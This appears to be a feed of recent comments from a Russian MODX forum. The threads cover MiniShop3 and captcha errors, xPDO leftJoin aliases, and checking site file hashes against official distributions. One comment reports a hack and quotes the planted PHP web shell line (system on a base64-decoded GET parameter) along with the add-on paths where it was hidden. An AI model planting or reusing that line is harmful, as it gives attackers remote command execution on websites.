У меня сайт на MODx 3.1.1, требуется настроить на нём магазин. Я поставил MiniShop3. Я в курсе что это альфа-версия и могут быть какие-то проблемы в работе, просто не хочется самим писать какой-то примитивный функционал магазина (займусь этим если ничего не решу с ошибками), что бы закрыть все потребности на сайте. Тем более что когда-то давным давно писалось что основной функционал с MiniShop2 перенесён. Может кто-то ставил уже этот модуль и решал возникнувшие проблемы? В частности, у меня проблема с асинхронной функцией ms3.setToken() в файле customer.js (возможно дальше тоже появятся ошибки, но это пока в числе первых), возвращается ошибка «ms3.setToken is not a function». Знает кто-то как её исправить? В поиске не нашёл что бы у кого-то подобная проблема была…

На гите есть упоминание этой функции и пометка что «Метод setToken является асинхронной, но вызывается как синхронный. Возможны ошибки в будущем.». Может кто-то знает как убраь эту ошибку?

А файлы ядра тоже все хэшировать?

Да для всех, какие есть в дистрибутиве — лишнего-то там быть ничего не должно, по идее.

В идеале вообще автоматизировать и качать всё новое бесплатное из репозитория MODX / modstore, распаковывать и забивать в БД:
— название: MODX или дополнение
— версия дистрибутива
— путь к файлу
— sha1 хэш файла

создать онлайн базу для проверки хэшей файлов MODX и дополнений через API

Интересная идея, я бы занялся на досуге. Ты мог бы в общих чертах описать для каких файлов делать хэш у ядра и у компонентов?

Бинго!
Так-то я знаю, что в leftJoin указываются соответствия строк таблиц, но что после объявления псевдонима дальше используется только он — это я забыла. Спасибо!

Насколько я вижу из кода, скрипт в первый раз сохраняет хэши файлов, а потом их проверяет. Но если сайт уже заражён — то это никак не поможет.

Подкидываю альтернативную идею, если интересно — проверять версию MODX (или брать из настроек), скачивать соответствующий дистрибутив, и проверять хэши файлов сайта по файлам дистрибутива.

То есть, берём оригинальные файлы index.php в connectors, manager и корне, а так же файлы из core — и проверяем, чтобы все они присутствовали на сайте с оригинальным хэшем.

Если все основные файлы не изменены, то сайт не заражён и должен работать корректно.

Правда, есть еще возможность заражения только файлов дополнений, без ядра. Наверное, можно и их сверять с дистрибутивами из репозитория по той же логике — скачать нужную версию и сравнить хэши…

Кстати, вот вам еще идея — создать онлайн базу для проверки хэшей файлов MODX и дополнений через API. Чтобы простые GET запросы, типа /api/hash/modx/2.8.1/core/model/modx.class.php возвращали sha1 хэш запрошенного файла или 404.

Конечно, это не спасёт от уже залитых шеллов и вредоносов, но они не будут запускаться через сайт. А если запустятся и что-то изменят, то следующая проверка это покажет. И если раз за разом файлы будут меняться — то можно уже более внимательно искать, что там такое у вас залито.

я сегодня уже после того как столкнулся с ошибкой обновил до актуальных ModX c 3.0.6 и Formit тоже версия была 2024 года

Обычно для компонентов не требуется указывать префикс таблиц в методе addPackage().
И кажется ты не понимаешь что это за магические письмена

$q->leftJoin('goodStarVoteCount', 'countaverage', 'modResource.id = countaverage.thread');

Первым аргументом в метод leftJoin передаётся имя класса ('goodStarVoteCount'); вторым псевдоним для таблицы ( 'countaverage'), если не передать будет взято имя класса; третьим аргументом передаётся условие соединение таблиц как в операторе ON в SQL ( 'modResource.id = countaverage.thread').
На чистом SQL запрос будет примерно таким

SELCET `modResource`.`id` as `id`, `countaverage`.`countaverage` as `count` FROM `modx_site_content` as `modResource`
LEFT JOIN `modx_good_stars_vote_count` as  `countaverage` ON `modResource`.`id` = `countaverage`.`thread`
WHERE `modResource`.`published` = 1 AND  `modResource`.`deleted` = 0

Как видишь в секциях SELECT и ON используется псевдоним таблицы, в xPDO тоже надо использовать псевдонимы, если они указаны в leftJoin или setTableAlias. Поэтому вот это всё

'modTemplateVarResource.preview.value as preview',
'modTemplateVarResource.event_date.value as event_date',
'modTemplateVarResource.event_date_end.value as event_date_end',
'modTemplateVarResource.event_city.value as event_city',
'goodStarVoteCount.countaverage as countaverage'

неверно, должно быть так

'preview.value as preview',
'event_date.value as event_date',
'event_date_end.value as event_date_end',
'event_city.value as event_city',
'countaverage as countaverage'

И наконец, чтобы проверить какой же запрос будет выполнен можно сделать так

$q->prepare();
echo $q->toSQL();

Вы уже второй с такой ошибкой, то ли в свежем MODX что-то изменилось, толи в Formit. Я поправлю в ближайшие дни, постараюсь

Добрый день!
Установил, настроил, капча выводится, но если не чекнуть её и отправить форму получаю ошибку:

Failed to load resource: the server responded with a status of 500 ()

Журнал ошибок ModX пуст.
Modx 3.1.2-pl, YaSmartCaptcha 1.0.2-pl, Formit 5.1.1-pl.

В логе сервера такая ошибка:

[Tue May 20 17:49:57 2025] [error] [pid 78865] sapi_apache2.c(358): [client] PHP Fatal error: Uncaught Error: Object of class Sterc\\FormIt could not be converted to string in /public_html/core/components/yasmartcaptcha/model/yasmartcaptcha.class.php:58\nStack trace:\n#0 /public_html/core/components/yasmartcaptcha/model/yasmartcaptcha.class.php(58): str_replace(Array, Array, 'https://smartca...')\n#1 /public_html/core/cache/includes/elements/modx/revolution/modsnippet/52.include.cache.php(42): YaSmartCaptcha->initialize('web', Array)\n#2
/public_html/core/src/Revolution/modScript.php(88): include('/home/p...')\n#3 /public_html/core/src/Revolution/modParser.php(508): MODX\\Revolution\\modScript->process(NULL)\n#4 /public_html/core/components/pdotools/src/Parsing/Parser.php(276): MODX\\Revolution\\modParser->processTag(Array, true)\n#5 /public_html/core/src/Revolution/modParser.php(221): ModxPro\\PdoTools\\Parsing\\Parser->processTag(Array, true)\n#6 /public_html/core/components/pdotools/src/Parsing/Parser.php(73): MODX\\Revolution\\modParser->processElementTags('', '<!doctype html>...', true, false, '[[', ']]', Array, 9)\n#7 /public_html/core/src/Revolution/modResource.php(520): ModxPro\\PdoTools\\Parsing\\Parser->processElementTags('', '<!doctype html>...', true, false, '[[', ']]', Array, 10)\n#8 /public_html/core/src/Revolution/modResource.php(468): MODX\\Revolution\\modResource->parseContent()\n#9 /public_html/core/src/Revolution/modResponse.php(72): MODX\\Revolution\\modResource->prepare()\n#10 /public_html/core/src/Revolution/modRequest.php(154): MODX\\Revolution\\modResponse->outputContent(Array)\n#11 /public

Подскажите, пожалуйста, может я что-то не так настроил?

Да, я так тоже пробовала. Собственно, без подключения goodStar я сразу писала event_city.value. Но, как только подключила рейтинг, так уже тоже не сработало.

В select вот эта цепочка modTemplateVarResource.preview.value выглядит длинновато. Без modTemplateVarResource попробуйте.

Как ни удивительно — но все ж добавил поле), смотрите свежий релиз

Прекрасные новости! Мы мечтали, мы желали, мы просили, мы требовали, и всё это не помогало)) А потом Артур сам захотел обновиться, и мы — счастливы!

Кто ещё не нажал кнопочку «Отправить деньги» в разделе «Поблагодарить автора» под анонсом поста — самое время всем это сделать!

Ну так это будет для любого пакета работать. На видео же для MiniShop3 тоже показано

Привет, почему лог в

core/components/ms_cdek2/services/logs

он же там потом разрастаться будет и никто из разработчиков про это помнить не будет.

Хочется отдельный файл лога — почему не положить рядом со стандартным errors.log что-то типа

core/cache/logs/cdek2.log

?

Класс! Вот бы такое же для MiniShop3! Давно пора DevUX подтягивать в нашей экосистеме!

Заметил данный пост, и не я один такой)) Сайт отрубали, пришлось скачивать его на локалку, прогонять через утилиту — ai-bolit.
Сайт был версии 2.7.2
Зараженные директории:

1. assets/components/formit/js/mgr/widgets/migrate.panel.php
2. assets/components/migx/js/mgr/widgets/grids/migxgallery.grid.php
3. assets/components/pdotools/js/pdopage.min.php

Сам код во всех файлах одинаковый

<?php system(base64_decode($_GET['t']))

Ну и да как уже выше писали на уровень выше корня сайта были созданы директории:
.local, .config — в которых и была пакасть.
Компоненты обновил, систему обновил, дрянь удалил.
3й День пока все ок

А вы какой планировщик имеете ввиду? (Scheduler — modstore.pro/packages/utilities/scheduler) он?
Но там ведь нет возможности указать периодичность запусков заданий. Только можно указать точное время запуска.
При такой структуре Scheduler'а, для достижения периодичности выполнения нужно будет реализовать логику самоперепланирования внутри скриптов, а первый запуск придется сделать вручную. Это как-то не очень удобно не находите? и не очень надежно. Если вы знаете в каком компоненте есть реализация нормальной работы с этим планировщиком напишите. я гляну, вдруг что-то не так понимаю.

Здравствуйте. А с т-банк этот компонент пойдет?